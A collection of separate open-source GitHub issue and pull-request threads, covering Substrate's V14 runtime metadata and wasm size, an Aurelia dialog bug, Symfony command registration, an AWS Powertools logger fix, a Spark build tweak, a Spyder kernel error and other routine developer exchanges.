It's the raw wasm files from target/release/wbuild/node-runtime/

It'd be awesome to take the metadata out of the WASM

Yes but we decided that it is beyond the scope of this PR, as long as the size increase of the wasm is manageable in the meantime. Obviously if that is not the case then we will have to reconsider.

Wasm size benchmarks for node-runtime:
wasm 	compact 	compressed
master 	3.3M 	3.1M 	884K
This PR (no docs) 	3.8M 	3.5M 	904K
This PR (all docs) 	4.2M 	3.8M 	1020K
This PR (only required docs) 	4.1M 	3.8M 	984K
Current implementation only includes type docs for Call, Event, and Error which are required for the polkadot.js UI.
So can people confirm that this is an acceptable size increase for now, until in the future we come up with a way to separate the metadata from the Wasm? @bkchr @rphmeier

What does with all docs mean? The docs of all types that you include?
I think the 100kb are fine for the functionality improvements. However, it would be nice to see some more examples. Maybe @xlc could try the pr with acala and tell us what size they will end with. And @h4x3rotab for plasm maybe

What does with all docs mean? The docs of all types that you include?

Exactly.

However, it would be nice to see some more examples

I can run it on the various polkadot runtimes too once I've updated the companion.

Subwasm is far from having the full memory requirements that Polkadot has obviously but I did notice a significant increase in the memory requirement while adding support for V14.
With Polkadot V12/V13, I saw that I need to allocate 12+ heap pages  in the WasmExecutor for it to work. Considering the requirements of subwasm, that can be seen as the minimum required allocation. I used 32 heap pages in subwasm to have some room and support various runtimes.
This is not enough for V14.
V14 does require significantly more. The requirement for subwasm is 34+ in order to load the current substrate runtime V14. The requirement growth won't be linear but I see already a significant difference. I can test again once we have a Polkadot V14 runtime so we compare the same base.
This is something to be aware of and to communicate with the node operators once V14 starts being used.

@bkchr

However, it would be nice to see some more examples.

| master | this PR (compressed)
-- | -- | --
polkadot | 624K | 720K
kusama | 936K | 1M
rococo | 632K | 720K
node-runtime | 884K | 984K

Unleash check is failing because of the git reference to the new standalone frame-metadata. I will release this to crates.io as soon as I'm sure there will be no more changes required based on reviews here.

Closes https://github.com/paritytech/cargo-unleash/issues/50

I don't know how tools using metadata should update to use this new metadata format

For polkadot.js @jacogr is working on https://github.com/polkadot-js/api/pull/3759.

Also no real issues on my side, the latest alpha version of the Python libs is fully functioning with this PR. (Except for the latest  change of combining the storage Map types, still have to process that)
Although the removal of the separate list and descriptions of available calls and events is a bit less than ideal (e.g. have to manoeuvre my way through the Variant and Field types to extract needed arguments etc), I understand though the state-bloat argument weighs heavier to not duplicate that information in a different format.
Also the path of some types contains the name of the runtime or pallet (like node_runtime::Call), which forced me to use a 'wildcard' kind of approach. I would rather have generic names, but also just minor discomforts.
Overall this PR is really what I have been hoping for, this will make my life so much easier :)

Although the removal of the separate list and descriptions of available calls and events is a bit less than ideal (e.g. have to manoeuvre my way through the Variant and Field types to extract needed arguments etc)

Indeed, that was a also a tradeoff with simplifying and deduplicating the frame-support macros: essentially getting the metadata for those enums on this side for "free", at the cost of making it slightly trickier to extract the arguments for consumers.

Also the path of some types contains the name of the runtime or pallet (like node_runtime::Call), which forced me to use a 'wildcard' kind of approach. I would rather have generic names, but also just minor discomforts.

That is another side effect of using the TypeInfo derives, you will always get the fully qualified path, though the final segment is guaranteed to be the type identifier.
Thanks for the feedback: this is just a start and hopefully we can evolve the format in the future.

The full path (also wildcard boy here), yields some discomfort in places, but actually makes stuff like TypeScript interface generation  properly named. (So had some nice benefits in my life)

@ascjones Please enable unleash-check again before this PR is merged (https://github.com/paritytech/substrate/pull/9705#issuecomment-914213357)

This PR will not be part of the upcoming 0.9.10. This is a big PR and we want to ensure a solid and healthy ground for it. We all want this PR merged in, it will be included to the earliest possible release.

@ascjones please merge master and then lets merge this pr.

... It's happening happy 🥲

bot merge

Finally, almost 3 years after the initial issue.

Back in 2018 @gavofyork told me: 'likely not before 2020 (distant future)' LOL
Well done great work

Holy moly!!!! 🥳

game changer!

📐
📐📐
📐📐📐

To commemorate I'll be releasing this week Scales which uses the new type info to serialize SCALE data to dynamic types(e.g. serde_json::Value) and the other way around. Also to be included in Sube the lightweight client :)

amazing

I would like to keep tracking this PR's updates & feedback.
I know this is an amazing feature.
But please don't comment any Irrelevant Information.
Thank you, guys!

Wow, that's huge! finally relief from constant and erratic json.types updates?


viewModel setting gets overridden by module index

I'm trying to use a VM for the dialog, but DialogService ignores that and lookup the VM's moduleId to use that instead. Is this by design? Then I think the viewModel setting should be renamed with moduleId, such as in RouteConfig of "aurelia-router".
For example:
import {MyModalVM} from "my-module";

    // ...
    this.dialogService.open({ viewModel: MyModalVM, model: "Test" });

this would lookup "my-module" with Origin.get(instruction.viewModel).moduleId; and then will use the first exported VM from that module, instead the desired VM.

Can you explain the expected result and what is actually happening or what the bug is here?  Sorry I don't quite follow what isn't working (unless you mean that the name should be different)
Perhaps you mean if you try to pass an instance of a view-model it isn't working?

Say I have my-module which exports several VMs from its my-module/index.js. Then if I try the snippet above, DialogService tries to use my-module/index.js itself as the viewModel, not the MyModalVM which I have imported.

Same issue DialogService try to load my-module/index.js

If your view model isn't the only export from its module then Aurelia will get confused because it can't find a view associated with it.

@EisenbergEffect : I removed the many export of my VM in my buggy require js bundle and it works :)
Thanks.

Great!


Load commands explicit as auto-dicovery way deprecated in Symfony 3.4

Hi guys,
with Symfony 3.4 auto-discovery for Commands was deprecated:
https://github.com/symfony/symfony/issues/23488
https://github.com/symfony/symfony/pull/23805
That means the AdminTheme Commands avanzu:admin:* are not available in case of deactivated auto-wiring. With Symfony 4 this is the default behaviour and the commands are never available.
While migrating a Project of mine to SF4, I couldn't properly initialize the theme as the commands wheren't available and I had to add the attached changes to services.yml to make them callable.
These 3 lines register the command directory for Service discovery and the commands will be available when executing bin/console.I tested it only with Symfony 4, but according to Symfony core devs it will at least work with 3.4 as well: https://github.com/symfony/symfony/issues/23488#issuecomment-315598669

All this changes has been merged now via https://github.com/avanzu/AdminThemeBundle/commit/e449c13d956109bf3c76f2e53c58341f9516500e
In the new branch "experimental-symfony-4.x"
https://github.com/shakaran/AdminThemeBundle/tree/experimental-symfony-4.x
Since I am having some problems for update the packagist.org package (I already requested to be maintainer to avanzu main owner, but it could take time to it), I am maintaining the same commits and duplicating the work in a personal repo and packagist account:
composer require shakaran/admin-theme-bundle:dev-experimental-symfony-4.x
https://packagist.org/packages/shakaran/admin-theme-bundle


2024 new year overhaul

Algorithm rewrite! This version focuses on stability over speed.
Rendering has been reworked to use more antialiasing and higher resolution textures. Zoom in without worrying about pixelated nodes or edges being an issue.
Nodes will not snap to the center of your mice anymore, they will be dragged in place.
Directed edges are now supported. Check out the triangle example to see the current state of directed edges.

This is looking really promising.
Thanks for everything!


Various fixes/cleanups.

Make spki cache location configurable.
Make logs dir configurable.
Enable make -sC go deps_proto to be silent if there are no changes.
Don't load as.yml unless necessary.

This change is

Reviewed 12 of 12 files at r1, 2 of 2 files at r2.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable

Reviewed 1 of 1 files at r3.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable


Logger decorator does not accept more arguments than event and context

What were you trying to accomplish?
I'm trying to use the logger in a lambda function that is executed once we deploy it via Terraform. We pass some custom arguments, however, the decorator is not able to handle them.
Expected Behavior

The expected behaviour should be the decorator to shallow the extra arguments
Current Behavior

Lambda function is falling with the error TypeError: decorate() got an unexpected keyword argument 'argument_name'
Possible Solution

By appending variadic arguments to decorate function, ti should fix the problem.
Steps to Reproduce (for bugs)
It's similar to that error.
Environment

Powertools version used:  1.22.0
Packaging format (Layers, PyPi):
AWS Lambda function runtime:
Debugging logs

How to enable debug mode**

I caught it during testing, below is the exact error
===================================================================== FAILURES ======================================================================
__________________________________________________________ test_migration_handler_failure ___________________________________________________________

monkeypatch = <_pytest.monkeypatch.MonkeyPatch object at 0x11167cf90>
lambda_context = lambda_context.<locals>.LambdaContext(function_name='test', memory_limit_in_mb=128, invoked_function_arn='arn:aws:lambda:eu-west-1:809313241:function:test', aws_request_id='52fdfc07-2182-154f-163f-5f0f9a621d72')

    def test_migration_handler_failure(monkeypatch, lambda_context):
        mock_err_message = "Testing for failure"

        def _err_side_effect(*args):
            raise TypeError("Testing for failure")

        mock_command = MagicMock()
        mock_command.upgrade.side_effect = _err_side_effect
        monkeypatch.setattr("lambdas.database_migration.handlers.command", mock_command)

        mock_event = {}

>       result = migration_handler(mock_event, lambda_context, num_retries=3, timeout=0.5)
E       TypeError: decorate() got an unexpected keyword argument 'num_retries'

tests/database_migration/test_handler.py:37: TypeError
------- generated xml file: /Users/vspallas/Documents/Development/project/python_unit_tests_junit_report.xml -------
============================================================== short test summary info ==============================================================
FAILED tests/database_migration/test_handler.py::test_migration_handler_failure - TypeError: decorate() got an unexpected keyword argument 'num_re...
============================================================ 1 failed, 1 passed in 0.35s ============================================================

Hey @VassilisPallas if you have the bandwidth, feel free to send a PR for this quick fix and we can include it in the next release ASAP.
Otherwise we can tackle that later

done @VassilisPallas - it'll be available in today's release :)


[SPARK-37312][TESTS] Add .java-version to .gitignore and .rat-excludes

What changes were proposed in this pull request?
To support Java 8/11/17 test more easily, this PR aims to add .java-version to .gitignore and .rat-excludes.
Why are the changes needed?
When we use jenv, dev/check-license and dev/run-tests fails.
========================================================================
Running Apache RAT checks
========================================================================
Could not find Apache license headers in the following files:
 !????? /Users/dongjoon/APACHE/spark-merge/.java-version
[error] running /Users/dongjoon/APACHE/spark-merge/dev/check-license ; received return code 1

Does this PR introduce any user-facing change?
No.
How was this patch tested?
$ jenv local 17
$ dev/check-license

Test build #145179 has started for PR 34577 at commit 6d0a9a4.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/49648/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/49648/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/49648/

Test build #145179 has finished for PR 34577 at commit 6d0a9a4.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/145179/

LGTM. Merging to master.  Thank you @dongjoon-hyun !

Thank you, @sarutak !


chore: remove Consign app

The type of this PR is: Chore

Description
Remove / migrate any remaining references from the old Consign app to the Sell app.

It's usually better to redirect rather than break old, public URLs.

Good call. I checked and it looks like Google still has some indexed results. I'll add a redirect rule for the removed route 👍🏼


Pause printing for selected days and time.

Hi,
Is it possible to hold printing new jobs from Friday 6pm to Monday 6am?
https://superuser.com/questions/1407635/how-to-hold-release-print-jobs-using-cups
Thank you.
Damu

@dbashyal There isn't a direct way to do it, but you can use the cupsdisable --hold and cupsenable --release commands with cron at the appropriate times.


fix(neon-core): Fix ContractParam.Integer transformation

C# BigInteger uses two's complement which wasn't reflected by the parseInt of javascript. This solution brings in Igor's csbiginteger package which is a javascript implementation of the c# BigInteger class. With this, we should be able to convert correctly. It's a good place to start testing the package out too.
Fix #345

🙏


Subscripted reduce

Could / have a subscript that lets it reduce on multiple axes? (ie. /₂f is equivalent to /f☇¯2)

I wonder if it would be more desirable to have it as ≡…≡/F or /+☇.
Texamples


Allow target adorners on non-ItemsControls

Consider a listbox bound to a collection representing groups of items. You want to drag into the list or in an item. The item implements IDropTarget, and you need it to show HighlightAdorner - but that only works on a valid VisualTargetItem which is only set on ItemsControls. Added code to fallback setting VisualTargetItem = VisualTarget, and checking for target adorner on any target UIElement.

@emsaks thx


Proposal: Add support for ssh dependencies.

Many users, like organizations, companies, etc. have a mixture of open-source and private dependencies in their projects.
npm supports the following syntax:
git+ssh://git@github.com:npm/package@version
poetry supports
poetry add <repo> --git<EMAIL_ADDRESS>and so on in other package managers

-> This could be added by invoking the fetchgitPrivate when a ssh dependency is detected in the lockfile
FetchGitPrivate is doing a git checkout via SSH. This requires setting up an SSH configuration describing which SSH key to use when connecting to GitHub.
This configuration could look like this:
Host [github.com](http://github.com/)
IdentityFile /etc/ssh/ssh_host_rsa_key

AKAIK, builtins.fetchGit is able to fetch via ssh using the users local ssh config. So it's probably just a matter of parsing these entries correctly with our translators and making sure that our src/fetchers/git accepts these URLs.

Update: it seems the ssh protocol, basically just works. (As you said)

still npm does only fetch files specified in package.json -> https://docs.npmjs.com/cli/v8/configuring-npm/package-json#files
d2n does fetch the whole repository.


Cannot connect to kernel

I cannot run any of my code and my Ipython console keeps trying to connect to the kernel
As soon as I run a file the following error is reproduced
Spyder Internal Console

This console is used to report application
internal errors and to inspect Spyder
internals with the following commands:
  spy.app, spy.window, dir(spy)

Please don't use it to run your code

>>> Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\spyderlib\plugins\externalconsole.py", line 1246, in toggle_view
    self.open_interpreter()
  File "C:\Python27\lib\site-packages\spyderlib\plugins\externalconsole.py", line 1258, in open_interpreter
    interact=True, debug=False, python=True)
  File "C:\Python27\lib\site-packages\spyderlib\plugins\externalconsole.py", line 832, in start
    show_elapsed_time=show_elapsed_time)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\externalshell\pythonshell.py", line 207, in __init__
    show_elapsed_time=show_elapsed_time)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\externalshell\baseshell.py", line 73, in __init__
    self.shell = self.SHELL_CLASS(parent, get_conf_path(history_filename))
  File "C:\Python27\lib\site-packages\spyderlib\widgets\externalshell\pythonshell.py", line 39, in __init__
    PythonShellWidget.__init__(self, parent, history_filename, profile)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\shell.py", line 673, in __init__
    ShellBaseWidget.__init__(self, parent, history_filename, profile)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\shell.py", line 63, in __init__
    self.history = self.load_history()
  File "C:\Python27\lib\site-packages\spyderlib\widgets\shell.py", line 494, in load_history
    if rawhistory[1] != self.INITHISTORY[1]:
IndexError: list index out of range
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\spyderlib\plugins\ipythonconsole.py", line 656, in toggle_view
    self.create_new_client(give_focus=False)
  File "C:\Python27\lib\site-packages\spyderlib\plugins\ipythonconsole.py", line 832, in create_new_client
    self.main.extconsole.start_ipykernel(client, give_focus=give_focus)
  File "C:\Python27\lib\site-packages\spyderlib\plugins\externalconsole.py", line 1273, in start_ipykernel
    ipyclient=client, give_ipyclient_focus=give_focus)
  File "C:\Python27\lib\site-packages\spyderlib\plugins\externalconsole.py", line 832, in start
    show_elapsed_time=show_elapsed_time)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\externalshell\pythonshell.py", line 207, in __init__
    show_elapsed_time=show_elapsed_time)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\externalshell\baseshell.py", line 73, in __init__
    self.shell = self.SHELL_CLASS(parent, get_conf_path(history_filename))
  File "C:\Python27\lib\site-packages\spyderlib\widgets\externalshell\pythonshell.py", line 39, in __init__
    PythonShellWidget.__init__(self, parent, history_filename, profile)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\shell.py", line 673, in __init__
    ShellBaseWidget.__init__(self, parent, history_filename, profile)
  File "C:\Python27\lib\site-packages\spyderlib\widgets\shell.py", line 63, in __init__
    self.history = self.load_history()
  File "C:\Python27\lib\site-packages\spyderlib\widgets\shell.py", line 494, in load_history
    if rawhistory[1] != self.INITHISTORY[1]:
IndexError: list index out of range
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\spyderlib\plugins\ipythonconsole.py", line 803, in run_script_in_current_client
    self.execute_python_code(line)
  File "C:\Python27\lib\site-packages\spyderlib\plugins\ipythonconsole.py", line 816, in execute_python_code
    client.shellwidget.execute(to_text_string(lines))
  File "C:\Python27\lib\site-packages\IPython\qt\console\history_console_widget.py", line 46, in execute
    source, hidden, interactive)
  File "C:\Python27\lib\site-packages\IPython\qt\console\console_widget.py", line 655, in execute
    self._execute(source, hidden)
  File "C:\Python27\lib\site-packages\IPython\qt\console\frontend_widget.py", line 243, in _execute
    msg_id = self.kernel_client.execute(source, hidden)
AttributeError: 'NoneType' object has no attribute 'execute'
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\spyderlib\plugins\ipythonconsole.py", line 803, in run_script_in_current_client
    self.execute_python_code(line)
  File "C:\Python27\lib\site-packages\spyderlib\plugins\ipythonconsole.py", line 816, in execute_python_code
    client.shellwidget.execute(to_text_string(lines))
  File "C:\Python27\lib\site-packages\IPython\qt\console\history_console_widget.py", line 46, in execute
    source, hidden, interactive)
  File "C:\Python27\lib\site-packages\IPython\qt\console\console_widget.py", line 655, in execute
    self._execute(source, hidden)
  File "C:\Python27\lib\site-packages\IPython\qt\console\frontend_widget.py", line 243, in _execute
    msg_id = self.kernel_client.execute(source, hidden)
AttributeError: 'NoneType' object has no attribute 'execute'

It seems you have a mismatch of IPython versions. I don't know how you installed Spyder and IPython, so I can't give you further help.
If you're new to Python, I'd recommend you to use Anaconda or WinPython, instead of installing things by yourself :-)

Closing because of lack of response.


[BACKLOG-33865] Update prefetch label on streaming steps

:white_check_mark: Build finished in 34m 19s
Build command:
mvn clean verify -B -e -Daudit -amd -pl engine,ui

:ok_hand: All tests passed!
Tests run: 3680, Failures: 0, Skipped: 7    Test Results

:information_source:  This is an automatic message


chore: fix extract_lets without at

Make extract_lets (without any specified at) work on just the goal. This supplements the already valid syntax extract_lets at h ⊢ and extract_lets at *

The expected behaviour of introducing lets at the goal is covered by three new test cases.
Further, this cleans up the doc and removes some appearances of extractLet without "s".

Thanks! Looks good to me. Feel free to merge once CI passes.
bors d+

bors r+


added better description for Soroban

Preview is available here:http://developers-pr238.previews.kube001.services.stellar-ops.com